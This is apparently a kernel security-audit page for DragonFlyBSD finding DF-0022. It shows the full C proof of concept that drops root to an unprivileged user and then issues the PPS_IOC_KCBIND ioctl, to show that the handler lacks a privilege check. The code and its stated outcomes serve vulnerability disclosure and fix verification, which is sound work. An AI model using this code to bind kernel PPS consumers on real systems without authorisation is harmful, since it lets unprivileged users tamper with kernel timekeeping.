DragonFlyBSD Kernel Audit
DF-0022 / kcbind_drop.c
← back to finding ↓ download raw
/*
 * DF-0022 PoC (privilege-drop variant) - PPS_IOC_KCBIND missing privilege check.
 *
 * The finding (sys/kern/kern_clock.c:1680-1694) is a missing caps_priv_check
 * on the PPS_IOC_KCBIND ioctl *handler*, not on device open().  To prove the
 * ioctl does not check the caller's credential we must issue it under an
 * unprivileged credential.  On this KVM guest the only attached PPS-capable
 * device is sio0 (/dev/ttyd0), which is also the serial console: the console
 * tty rejects opens from non-root sessions (EPERM) regardless of file mode, so
 * an unprivileged user cannot directly open it.  (On a real PPS box the
 * pps(4) parallel-port driver creates /dev/pps0 mode 0644 - world openable -
 * so this open-gate issue does not arise there.)
 *
 * This program demonstrates the missing ioctl privilege check cleanly: root
 * opens the device (solely to clear the open-gate), then the process
 * permanently drops to maxx's uid/gid (1001/1001, not in wheel) via
 * setreuid/setregid, and ONLY THEN issues PPS_IOC_KCBIND.  The ioctl's
 * privilege is evaluated against the *current thread's* credential
 * (caps_priv_check_self uses curthread->td_ucred).  If the bind succeeds under
 * an unprivileged credential, the missing privilege check is confirmed.
 *
 * This is NOT a privilege escalation - it is a faithful test of whether the
 * ioctl handler checks the caller's privilege.  Build as root, run as root:
 *
 *   cc -o kcbind_drop kcbind_drop.c
 *   ./kcbind_drop /dev/ttyd0
 *
 * Expected on a PPS_SYNC kernel WITHOUT the fix:
 *   [+] KCBIND succeeded under uid=1001 (privilege bypass)  <- BUG
 * Expected on a PPS_SYNC kernel WITH the fix:
 *   [-] KCBIND rejected under uid=1001: Operation not permitted (errno=1)
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/timepps.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

#define TARGET_UID 1001
#define TARGET_GID 1001

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/ttyd0";

	/* Step 1: open as root (clears the console-tty open gate only). */
	int fd = open(dev, O_RDWR | O_NONBLOCK);
	if (fd < 0) {
		perror("open (as root)");
		return 2;
	}

	/* Step 2: permanently drop to maxx's credential. */
	if (setregid(TARGET_GID, TARGET_GID) != 0) {
		perror("setregid");
		return 2;
	}
	if (setreuid(TARGET_UID, TARGET_UID) != 0) {
		perror("setreuid");
		return 2;
	}
	/* Drop all supplementary groups too. */
	gid_t only = TARGET_GID;
	if (setgroups(1, &only) != 0) {
		perror("setgroups");
		/* non-fatal: continue */
	}

	printf("[*] now running as uid=%d euid=%d gid=%d\n",
	       (int)getuid(), (int)geteuid(), (int)getgid());

	/* Sanity: confirm we are NOT privileged. */
	if (getuid() == 0 || geteuid() == 0) {
		fprintf(stderr, "[!] privilege drop failed; aborting\n");
		return 2;
	}

	/* Step 3: issue PPS_IOC_KCBIND under the unprivileged credential. */
	struct pps_kcbind_args kb;
	memset(&kb, 0, sizeof(kb));
	kb.kernel_consumer = PPS_KC_HARDPPS;	/* the only accepted value */
	kb.edge = PPS_CAPTUREASSERT;		/* in sio0's ppscap */
	kb.tsformat = PPS_TSFMT_TSPEC;

	if (ioctl(fd, PPS_IOC_KCBIND, &kb) == 0) {
		printf("[+] KCBIND succeeded under uid=%d (privilege bypass) on %s\n",
		       (int)getuid(), dev);
		printf("[+] hardpps() consumer bound with NO privilege check;\n"
		       "    pps->kcmode = PPS_CAPTUREASSERT.\n");
	} else {
		printf("[-] KCBIND rejected under uid=%d: %s (errno=%d)\n",
		       (int)getuid(), strerror(errno), errno);
	}
	close(fd);
	return 0;
}